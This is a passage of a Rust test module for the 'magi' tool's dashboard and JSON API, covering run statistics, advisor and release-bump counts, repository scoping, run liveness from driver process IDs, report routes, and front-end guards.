12138 health.json()["runs_unreadable"],
12139 "the dashboard and /api/health must never disagree about how many \
12140 runs could not be read"
12141 );
12142 }
12143
12144 #[tokio::test]
12145 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12146 let f = Fixture::start().await;
12147 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12148 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12149 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12150
12151 let totals = &f.get("/api/stats").await.json()["totals"];
12152 assert_eq!(totals["runs"], 3);
12153 assert_eq!(totals["merged"], 1);
12154 assert_eq!(totals["stalled"], 1);
12155 assert_eq!(totals["in_progress"], 1);
12156 assert_eq!(totals["blocked"], 0);
12159 assert_eq!(totals["ready"], 0);
12160 }
12161
12162 #[tokio::test]
12163 async fn stats_advisors_report_proposals_and_reflection() {
12164 use crate::advise::{Advice, AdvisorRecord, Reflection};
12165 use crate::verdict::Proposal;
12166
12167 let f = Fixture::start().await;
12168 let mut state = RunState::new(
12169 PathBuf::from("/repo/magi"),
12170 "main".to_owned(),
12171 "0123456789abcdef".to_owned(),
12172 "task".to_owned(),
12173 Config::default(),
12174 );
12175 state.id = "20260902-140501-a".to_owned();
12176 state.status = RunStatus::Merged;
12177 state.advice = Some(Advice {
12178 records: vec![
12179 AdvisorRecord {
12180 seat: "advisor-1".to_owned(),
12181 agent: "alpha".to_owned(),
12182 proposal: Some(Proposal {
12183 approach: "do it".to_owned(),
12184 key_tradeoff: "speed over memory".to_owned(),
12185 risks: Vec::new(),
12186 touches: Vec::new(),
12187 why_not_naive: "breaks under load".to_owned(),
12188 }),
12189 error: None,
12190 duration_ms: 0,
12191 reflection: Reflection::Strong,
12192 },
12193 AdvisorRecord {
12194 seat: "advisor-2".to_owned(),
12195 agent: "alpha".to_owned(),
12196 proposal: None,
12197 error: Some("timed out".to_owned()),
12198 duration_ms: 0,
12199 reflection: Reflection::Absent,
12200 },
12201 ],
12202 synthesis: Some("blended brief".to_owned()),
12203 });
12204 let dir = f.runs().join(&state.id);
12205 std::fs::create_dir_all(&dir).expect("run dir");
12206 std::fs::write(
12207 dir.join("run.json"),
12208 serde_json::to_string_pretty(&state).expect("serialize run"),
12209 )
12210 .expect("write run.json");
12211
12212 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12214 let alpha = advisors
12215 .as_array()
12216 .expect("an array")
12217 .iter()
12218 .find(|a| a["agent"] == "alpha")
12219 .expect("alpha row");
12220 assert_eq!(alpha["seated"], 2);
12221 assert_eq!(alpha["proposed"], 1);
12222 assert_eq!(alpha["absent"], 1);
12223 assert_eq!(alpha["strong"], 1);
12224 assert_eq!(alpha["faint"], 0);
12225 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12226 }
12227
12228 #[tokio::test]
12229 async fn stats_hides_agents_outside_the_roster_unless_all() {
12230 use crate::run::Candidate;
12231 let repo = TempDir::new().expect("repo dir");
12232 std::fs::write(
12233 repo.path().join("magi.toml"),
12234 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12235 )
12236 .expect("magi.toml");
12237 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12238 let mut state = RunState::new(
12239 PathBuf::from("/repo/magi"),
12240 "main".to_owned(),
12241 "0123456789abcdef".to_owned(),
12242 "task".to_owned(),
12243 Config::default(),
12244 );
12245 state.id = "20260902-140501-a".to_owned();
12246 state.status = RunStatus::Merged;
12247 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12248 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12249 "index": 0, "label": label.to_string(), "agent": agent,
12250 "branch": "b", "worktree": "/w",
12251 }))
12252 .expect("candidate");
12253 c.label = label;
12254 state.candidates.push(c);
12255 }
12256 let dir = f.runs().join(&state.id);
12257 std::fs::create_dir_all(&dir).expect("run dir");
12258 std::fs::write(
12259 dir.join("run.json"),
12260 serde_json::to_string_pretty(&state).expect("serialize run"),
12261 )
12262 .expect("write run.json");
12263
12264 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12265 v["agents"]
12266 .as_array()
12267 .expect("array")
12268 .iter()
12269 .map(|a| a["agent"].as_str().unwrap().to_owned())
12270 .collect()
12271 };
12272 let hidden = f.get("/api/stats").await.json();
12273 assert_eq!(agents_of(&hidden), ["keep"]);
12274 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12275 assert_eq!(hidden["totals"]["runs"], 1);
12276
12277 let all = f.get("/api/stats?all=true").await.json();
12278 assert_eq!(agents_of(&all).len(), 2);
12279 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12280 }
12281
12282 #[tokio::test]
12283 async fn stats_release_bumps_split_clean_from_attention() {
12284 use crate::run::ReleaseBump;
12285
12286 let f = Fixture::start().await;
12287
12288 let mut clean = RunState::new(
12289 PathBuf::from("/repo/magi"),
12290 "main".to_owned(),
12291 "0123456789abcdef".to_owned(),
12292 "task".to_owned(),
12293 Config::default(),
12294 );
12295 clean.id = "20260902-140501-a".to_owned();
12296 clean.status = RunStatus::Merged;
12297 clean.release_bump = Some(ReleaseBump {
12298 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12299 version: Some("1.0.0".to_owned()),
12300 automerge_enabled: true,
12301 merged_directly: false,
12302 local: false,
12303 release: None,
12304 problem: None,
12305 action_required: None,
12306 });
12307
12308 let mut blocked = RunState::new(
12309 PathBuf::from("/repo/magi"),
12310 "main".to_owned(),
12311 "0123456789abcdef".to_owned(),
12312 "task".to_owned(),
12313 Config::default(),
12314 );
12315 blocked.id = "20260902-140502-b".to_owned();
12316 blocked.status = RunStatus::Merged;
12317 blocked.release_bump = Some(ReleaseBump {
12318 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12319 version: Some("1.0.1".to_owned()),
12320 automerge_enabled: false,
12321 merged_directly: false,
12322 local: false,
12323 release: None,
12324 problem: Some("checks red".to_owned()),
12325 action_required: Some("look at the PR".to_owned()),
12326 });
12327
12328 for state in [&clean, &blocked] {
12329 let dir = f.runs().join(&state.id);
12330 std::fs::create_dir_all(&dir).expect("run dir");
12331 std::fs::write(
12332 dir.join("run.json"),
12333 serde_json::to_string_pretty(state).expect("serialize run"),
12334 )
12335 .expect("write run.json");
12336 }
12337
12338 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12339 assert_eq!(bumps["merged"], 2);
12340 assert_eq!(bumps["recorded"], 2);
12341 assert_eq!(bumps["pr_opened"], 2);
12342 assert_eq!(bumps["automerge_enabled"], 1);
12343 assert_eq!(bumps["needs_attention"], 1);
12344 assert_eq!(bumps["clean"], 1);
12345 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12346 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12347 }
12348
12349 #[tokio::test]
12350 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12351 let f = Fixture::start().await;
12352 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12353
12354 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12355 assert_eq!(bumps["merged"], 1);
12356 assert_eq!(bumps["recorded"], 0);
12357 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12360 assert_eq!(bumps["automerge_rate"], Value::Null);
12363 assert_eq!(bumps["attention_rate"], Value::Null);
12364 }
12365
12366 #[tokio::test]
12367 async fn stats_queue_counts_come_from_the_live_queue() {
12368 let f = Fixture::start().await;
12369 let q = f.queue();
12370 let mut queued = Task::new(
12371 "queued task".to_owned(),
12372 "do it".to_owned(),
12373 PathBuf::from("/repo"),
12374 Source::Human,
12375 );
12376 q.put(&mut queued).expect("put queued");
12377 let mut held = Task::new(
12378 "held task".to_owned(),
12379 "do it later".to_owned(),
12380 PathBuf::from("/repo"),
12381 Source::Human,
12382 );
12383 held.hold_machine(Some("out of attempts".to_owned()));
12384 q.put(&mut held).expect("put held");
12385
12386 let queue = f.get("/api/stats").await.json()["queue"].clone();
12387 assert_eq!(queue["queued"], 1);
12388 assert_eq!(queue["held"], 1);
12389 assert_eq!(queue["running"], 0);
12390 assert_eq!(queue["done"], 0);
12391 assert_eq!(queue["failed"], 0);
12392 assert_eq!(queue["blocked"], 0);
12393 }
12394
12395 #[tokio::test]
12396 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12397 let f = Fixture::start().await;
12398 let stats = f.get("/api/stats").await;
12399 assert_eq!(stats.status, 200);
12400 assert_eq!(stats.json()["totals"]["runs"], 0);
12401 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12402 assert_eq!(stats.json()["runs_unreadable"], 0);
12403 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12404 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12405 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12406 assert_eq!(stats.json()["repo"], Value::Null);
12407 }
12408
12409 #[tokio::test]
12410 async fn stats_lists_every_repository_with_runs_recorded() {
12411 let f = Fixture::start().await;
12412 write_run_repo(
12413 &f.runs(),
12414 "20260902-140501-a",
12415 RunStatus::Merged,
12416 "/repos/a",
12417 );
12418 write_run_repo(
12419 &f.runs(),
12420 "20260902-140502-b",
12421 RunStatus::Merged,
12422 "/repos/a",
12423 );
12424 write_run_repo(
12425 &f.runs(),
12426 "20260902-140503-c",
12427 RunStatus::Blocked,
12428 "/repos/b",
12429 );
12430
12431 let stats = f.get("/api/stats").await;
12432 assert_eq!(stats.status, 200);
12433 assert_eq!(stats.json()["totals"]["runs"], 3);
12435 assert_eq!(stats.json()["repo"], Value::Null);
12436
12437 let repos = stats.json()["repos"].clone();
12438 let repos = repos.as_array().unwrap();
12439 assert_eq!(repos.len(), 2);
12440 assert_eq!(repos[0]["repo"], "/repos/a");
12442 assert_eq!(repos[0]["name"], "a");
12443 assert_eq!(repos[0]["runs"], 2);
12444 assert_eq!(repos[1]["repo"], "/repos/b");
12445 assert_eq!(repos[1]["runs"], 1);
12446 }
12447
12448 #[tokio::test]
12449 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12450 let f = Fixture::start().await;
12451 write_run_repo(
12452 &f.runs(),
12453 "20260902-140501-a",
12454 RunStatus::Merged,
12455 "/repos/a",
12456 );
12457 write_run_repo(
12458 &f.runs(),
12459 "20260902-140502-b",
12460 RunStatus::Blocked,
12461 "/repos/b",
12462 );
12463
12464 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12465 assert_eq!(stats.status, 200);
12466 assert_eq!(stats.json()["totals"]["runs"], 1);
12467 assert_eq!(stats.json()["totals"]["merged"], 1);
12468 assert_eq!(stats.json()["repo"], "/repos/a");
12469 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12472 assert_eq!(stats.json()["runs_unreadable"], 0);
12475 }
12476
12477 #[tokio::test]
12478 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12479 let f = Fixture::start().await;
12480 write_run_repo(
12481 &f.runs(),
12482 "20260902-140501-a",
12483 RunStatus::Merged,
12484 "/repos/a",
12485 );
12486 write_run_repo(
12487 &f.runs(),
12488 "20260902-140502-b",
12489 RunStatus::Merged,
12490 "/repos/b",
12491 );
12492
12493 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12494 let json = f.get(uri).await.json();
12495 let daily = json["daily"].as_array().expect("daily is an array");
12496 assert_eq!(daily.len(), 30);
12497 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12498 let mut sorted = dates.clone();
12499 sorted.sort();
12500 assert_eq!(dates, sorted);
12501 for d in daily {
12502 assert_eq!(
12503 d["merged"].as_u64().unwrap()
12504 + d["ready"].as_u64().unwrap()
12505 + d["other"].as_u64().unwrap(),
12506 d["runs"].as_u64().unwrap()
12507 );
12508 }
12509 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12510 }
12511 }
12512
12513 #[tokio::test]
12514 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12515 let f = Fixture::start().await;
12516 write_run_repo(
12517 &f.runs(),
12518 "20260902-140501-a",
12519 RunStatus::Merged,
12520 "/repos/a",
12521 );
12522
12523 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12524 assert_eq!(stats.status, 404);
12525 }
12526
12527 #[tokio::test]
12528 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12529 let f = Fixture::start().await;
12530 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12531
12532 let summary = f.get("/api/runs").await.json();
12533 let row = &summary[0];
12534 assert_eq!(row["short"], "a1b2");
12535 assert_eq!(row["status"], "ready");
12536 assert_eq!(row["done"], true);
12537 assert_eq!(row["title"], "Add a web UI");
12538 assert_eq!(row["repo_name"], "magi");
12539 assert_eq!(row["judges"], 3);
12540 assert_eq!(row["winner"], Value::Null);
12541 assert_eq!(row["reviews"], 0);
12542
12543 let detail = f.get("/api/runs/a1b2").await;
12546 assert_eq!(detail.status, 200);
12547 assert_eq!(detail.json()["base_branch"], "main");
12548 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12549 }
12550
12551 #[tokio::test]
12559 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12560 let f = Fixture::start().await;
12561
12562 let mut none_run = RunState::new(
12563 PathBuf::from("/repo/magi"),
12564 "main".to_owned(),
12565 "0123456789abcdef".to_owned(),
12566 "Add a web UI".to_owned(),
12567 Config::default(),
12568 );
12569 none_run.id = "20260902-140503-none".to_owned();
12570 none_run.status = RunStatus::Ready;
12571 none_run.merge = Some(crate::run::MergeOutcome {
12572 mode: crate::config::MergeMode::None,
12573 ok: true,
12574 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12575 empty: false,
12576 });
12577 write_state(&f.runs(), &none_run);
12578
12579 let mut pr_run = RunState::new(
12580 PathBuf::from("/repo/magi"),
12581 "main".to_owned(),
12582 "0123456789abcdef".to_owned(),
12583 "Add a web UI".to_owned(),
12584 Config::default(),
12585 );
12586 pr_run.id = "20260902-140504-prcl".to_owned();
12587 pr_run.status = RunStatus::Ready;
12588 pr_run.merge = Some(crate::run::MergeOutcome {
12589 mode: crate::config::MergeMode::Pr,
12590 ok: false,
12591 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12592 empty: false,
12593 });
12594 write_state(&f.runs(), &pr_run);
12595
12596 let summary = f.get("/api/runs").await.json();
12597 let rows: std::collections::HashMap<&str, &Value> = summary
12598 .as_array()
12599 .expect("an array")
12600 .iter()
12601 .map(|r| (r["id"].as_str().expect("an id"), r))
12602 .collect();
12603 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12604 assert_eq!(
12605 rows[none_run.id.as_str()]["unmerged_by_design"],
12606 true,
12607 "a mode-none Ready must be flagged in the list"
12608 );
12609 assert_eq!(
12610 rows[pr_run.id.as_str()]["unmerged_by_design"],
12611 false,
12612 "a Ready reached by a closed pull request is a different case"
12613 );
12614
12615 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12616 assert_eq!(none_detail["status"], "ready");
12617 assert_eq!(none_detail["unmerged_by_design"], true);
12618
12619 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12620 assert_eq!(pr_detail["unmerged_by_design"], false);
12621 }
12622
12623 #[tokio::test]
12628 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12629 let f = Fixture::start().await;
12630 let id = "20260902-140502-bbbb";
12634 let mut state = RunState::new(
12635 PathBuf::from("/repo/magi"),
12636 "main".to_owned(),
12637 "0123456789abcdef".to_owned(),
12638 "Add a web UI".to_owned(),
12639 Config::default(),
12640 );
12641 state.id = id.to_owned();
12642 state.status = RunStatus::Judging;
12643 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12644 let dir = f.runs().join(id);
12645 std::fs::create_dir_all(&dir).expect("run dir");
12646 std::fs::write(
12647 dir.join("run.json"),
12648 serde_json::to_string_pretty(&state).expect("serialize run"),
12649 )
12650 .expect("write run.json");
12651
12652 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12658 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12659 assert_eq!(cold["live"], "unknown", "{cold}");
12660
12661 write_daemon(f.home.path(), Timestamp::now());
12664 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12665 assert_eq!(warm["live"], "live", "{warm}");
12666 }
12667
12668 #[tokio::test]
12671 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12672 let f = Fixture::start().await;
12673 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12674 let mut state = RunState::new(
12675 PathBuf::from("/repo/magi"),
12676 "main".to_owned(),
12677 "0123456789abcdef".to_owned(),
12678 "Add a web UI".to_owned(),
12679 Config::default(),
12680 );
12681 state.id = id.to_owned();
12682 state.origin = origin;
12683 let mut value = serde_json::to_value(&state).expect("serialize run");
12684 if let Some(schema) = schema {
12685 value["schema"] = serde_json::json!(schema);
12686 value.as_object_mut().unwrap().remove("origin");
12687 }
12688 let dir = f.runs().join(id);
12689 std::fs::create_dir_all(&dir).expect("run dir");
12690 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12691 };
12692 write(
12693 "20260930-092817-ec34",
12694 Some(crate::run::Origin::from_agent_env(
12695 Some(("4a7b".to_owned(), "chat".to_owned())),
12696 None,
12697 )),
12698 None,
12699 );
12700 write("20260930-092817-0ld1", None, Some(12));
12701
12702 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12703 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12704 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12705
12706 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12707 assert_eq!(
12708 old["origin_label"], "origin unknown (started before origins were recorded)",
12709 "{old}"
12710 );
12711 assert!(old["origin"].is_null(), "{old}");
12712
12713 let list = f.get("/api/runs").await.json();
12714 let labels: Vec<_> = list
12715 .as_array()
12716 .unwrap()
12717 .iter()
12718 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12719 .collect();
12720 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12721 }
12722
12723 #[tokio::test]
12730 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12731 let f = Fixture::start().await;
12732 let id = "20260922-090000-cccc";
12733 let mut state = RunState::new(
12734 PathBuf::from("/repo/magi"),
12735 "main".to_owned(),
12736 "0123456789abcdef".to_owned(),
12737 "Review only".to_owned(),
12738 Config::default(),
12739 );
12740 state.id = id.to_owned();
12741 state.status = RunStatus::Reviewing;
12742 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12743 state.driver_pid = Some(std::process::id());
12749 state.driver_started_at = Some(
12750 crate::proc::process_started_at(std::process::id())
12751 .expect("this test process's own start time must be queryable"),
12752 );
12753 let dir = f.runs().join(id);
12754 std::fs::create_dir_all(&dir).expect("run dir");
12755 std::fs::write(
12756 dir.join("run.json"),
12757 serde_json::to_string_pretty(&state).expect("serialize run"),
12758 )
12759 .expect("write run.json");
12760
12761 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12762 assert_eq!(detail["live"], "live", "{detail}");
12763 }
12764
12765 #[tokio::test]
12771 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12772 let f = Fixture::start().await;
12773 let id = "20260922-090100-dddd";
12774 let mut state = RunState::new(
12775 PathBuf::from("/repo/magi"),
12776 "main".to_owned(),
12777 "0123456789abcdef".to_owned(),
12778 "Review only".to_owned(),
12779 Config::default(),
12780 );
12781 state.id = id.to_owned();
12782 state.status = RunStatus::Reviewing;
12783 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12784 state.driver_pid = Some(std::process::id());
12789 state.driver_started_at = Some("1".to_owned());
12790 let dir = f.runs().join(id);
12791 std::fs::create_dir_all(&dir).expect("run dir");
12792 std::fs::write(
12793 dir.join("run.json"),
12794 serde_json::to_string_pretty(&state).expect("serialize run"),
12795 )
12796 .expect("write run.json");
12797
12798 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12799 assert_eq!(detail["live"], "dead", "{detail}");
12800 }
12801
12802 #[test]
12806 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12807 let mk = |id: &str, pid: Option<u32>| {
12808 let mut s = RunState::new(
12809 PathBuf::from("/repo/magi"),
12810 "main".to_owned(),
12811 "0123456789abcdef".to_owned(),
12812 "Add a web UI".to_owned(),
12813 Config::default(),
12814 );
12815 s.id = id.to_owned();
12816 s.driver_pid = pid;
12817 s.driver_started_at = Some("1790000000".to_owned());
12818 s
12819 };
12820 let states = vec![
12821 mk("20260902-140502-aaaa", Some(77)),
12822 mk("20260902-140502-bbbb", Some(77)),
12823 mk("20260902-140502-cccc", Some(77)),
12824 mk("20260902-140502-dddd", None),
12825 ];
12826 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12827 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12828 let sup: HashMap<String, String> = [(
12829 "20260902-140502-aaaa".to_owned(),
12830 "20260902-140502-cccc".to_owned(),
12831 )]
12832 .into();
12833
12834 let status_calls = std::cell::Cell::new(0);
12835 let identity_calls = std::cell::Cell::new(0);
12836 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12837 |_| {
12838 status_calls.set(status_calls.get() + 1);
12839 Some(true)
12840 },
12841 |_| {
12842 identity_calls.set(identity_calls.get() + 1);
12843 Some("1790000000".to_owned())
12844 },
12845 ));
12846 let rows = summarize(
12847 states,
12848 &open,
12849 &claimed,
12850 &sup,
12851 |p| probe.borrow_mut().status(p),
12852 |p| probe.borrow_mut().started_at(p),
12853 );
12854
12855 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12856 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12857 assert_eq!(rows.len(), 4);
12858 assert!(!rows[0].waiting && rows[1].waiting);
12859 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12860 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12861 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12862 assert_eq!(rows[1].superseded_by, None);
12863 }
12864
12865 #[test]
12866 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12867 let mut state = RunState::new(
12868 PathBuf::from("/repo/magi"),
12869 "main".to_owned(),
12870 "0123456789abcdef".to_owned(),
12871 "Review only".to_owned(),
12872 Config::default(),
12873 );
12874 state.id = "20260922-090200-dead".to_owned();
12875 state.status = RunStatus::Reviewing;
12876 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12877 .expect("serialize list row");
12878 assert_eq!(row["status"], "reviewing");
12879 assert_eq!(row["live"], "dead", "{row}");
12880 assert!(!row["done"].as_bool().unwrap());
12881 }
12882
12883 #[tokio::test]
12884 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12885 let f = Fixture::start().await;
12886 for id in [
12887 "20260902-140501-aaaa",
12888 "20260902-140502-bbbb",
12889 "20260902-140503-cccc",
12890 ] {
12891 write_run(&f.runs(), id, RunStatus::Merged);
12892 }
12893
12894 let all = f.get("/api/runs").await.json();
12895 let capped = f.get("/api/runs?limit=2").await.json();
12896
12897 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12898 assert_eq!(all.as_array().map(Vec::len), Some(3));
12899 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12900 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12901 }
12902
12903 #[tokio::test]
12904 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12905 let f = Fixture::start().await;
12906 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12907
12908 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12909
12910 assert_eq!(res.status, 200);
12911 assert!(
12912 res.headers
12913 .contains("content-type: text/plain; charset=utf-8"),
12914 "a browser must render it, not download it: {}",
12915 res.headers
12916 );
12917 assert!(
12921 res.body.contains("20260902-140501-a1b2"),
12922 "the report is about the run that was asked for: {}",
12923 res.body
12924 );
12925 }
12926
12927 #[tokio::test]
12928 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12929 crate::run::pin_test_home();
12931 let f = Fixture::start().await;
12932 let id = "20260902-140501-a1b2";
12933 write_run(&f.runs(), id, RunStatus::Stalled);
12934 let path = f.runs().join(id).join("run.json");
12937 let mut v: serde_json::Value =
12938 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12939 v["tally"] = serde_json::json!({
12940 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12941 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12942 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12943 "met_quorum": false, "rankings": 1
12944 });
12945 v["reviews"] = serde_json::json!([{
12946 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12947 "e2e_deferred": true,
12948 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12949 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12950 ]}]
12951 }]);
12952 std::fs::write(&path, v.to_string()).unwrap();
12953 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12954 std::fs::write(
12955 f.runs().join("20260902-140502-dead").join("run.json"),
12956 "{not json",
12957 )
12958 .unwrap();
12959
12960 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12961
12962 assert_eq!(res.status, 200, "{}", res.body);
12963 assert!(res.headers.contains("content-type: application/json"));
12964 let j = res.json();
12965 assert_eq!(j["schema"], 1);
12966 assert_eq!(j["header"]["id"], id);
12967 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12968 let kinds: Vec<&str> = j["sections"]
12969 .as_array()
12970 .unwrap()
12971 .iter()
12972 .map(|s| s["kind"].as_str().unwrap())
12973 .collect();
12974 assert_eq!(kinds, ["candidates", "tally", "review"]);
12975 let tally = &j["sections"][1]["tally"];
12976 assert_eq!(
12977 (tally["decided"].clone(), tally["provisional"].clone()),
12978 (false.into(), true.into())
12979 );
12980 let round = &j["sections"][2]["rounds"][0];
12981 assert_eq!(round["e2e"]["state"], "deferred");
12982 assert_eq!(round["findings"][0]["severity"], "major");
12983 assert_eq!(round["findings"][0]["blocking"], true);
12984 assert_eq!(round["findings"][0]["state"], "open");
12985
12986 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12988
12989 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12991 assert_ne!(bad.status, 200, "{}", bad.body);
12992 assert_eq!(
12993 bad.status,
12994 f.get("/api/runs/20260902-140502-dead/report").await.status
12995 );
12996 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12997 assert_eq!(
12998 f.get("/api/runs/20260902-999999-ffff/report.json")
12999 .await
13000 .status,
13001 404
13002 );
13003 }
13004
13005 #[tokio::test]
13006 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13007 let f = Fixture::start().await;
13008
13009 let html = f.get("/").await;
13010 let css = f.get("/app.css").await;
13011 let js = f.get("/app.js").await;
13012
13013 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13014 assert!(
13015 html.headers
13016 .contains("content-type: text/html; charset=utf-8")
13017 );
13018 assert!(css.headers.contains("content-type: text/css"));
13019 assert!(js.headers.contains("content-type: text/javascript"));
13020 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13021 }
13022
13023 #[test]
13024 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13025 let body = |name: &str| {
13026 let at = APP_JS
13027 .find(name)
13028 .unwrap_or_else(|| panic!("{name} missing"));
13029 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13030 };
13031 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13032 let note = body("function landRoundNote");
13033 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13034 assert!(note.contains("Land round ${round}"));
13035 let land = body("function renderLand");
13036 let note_at = land
13037 .find("landRoundNote(pr)")
13038 .expect("renderLand uses the note");
13039 assert!(
13040 note_at
13041 < land
13042 .find("roundRail(pr)")
13043 .expect("renderLand uses the rail")
13044 );
13045 }
13046
13047 #[test]
13048 fn the_runs_page_redesign_keeps_its_guards() {
13049 let body = |name: &str| {
13050 let at = APP_JS
13051 .find(name)
13052 .unwrap_or_else(|| panic!("{name} missing"));
13053 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13054 };
13055 let land = body("function renderLand");
13057 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13058 assert!(
13059 !land.contains("box.append("),
13060 "renderLand must use append()"
13061 );
13062 assert!(land.contains("append(box, ["));
13063 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13065 assert!(
13066 body("function applyRoute")
13067 .contains("route.name !== state.route.name || route.id !== state.route.id")
13068 );
13069 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13071 assert!(!INDEX_HTML.contains("advise-converge"));
13072 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13073 assert!(APP_JS.contains("provisional"));
13074 for id in [
13075 "run-tab-overview",
13076 "run-tab-timeline",
13077 "run-tab-report",
13078 "run-report",
13079 "runs-scope",
13080 ] {
13081 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13082 }
13083 assert!(!INDEX_HTML.contains("runs-tree"));
13084 assert!(!INDEX_HTML.contains("run-raw-panel"));
13085 assert!(APP_JS.contains("resume"));
13087 assert!(APP_JS.contains("unreadable"));
13089 }
13090
13091 #[test]
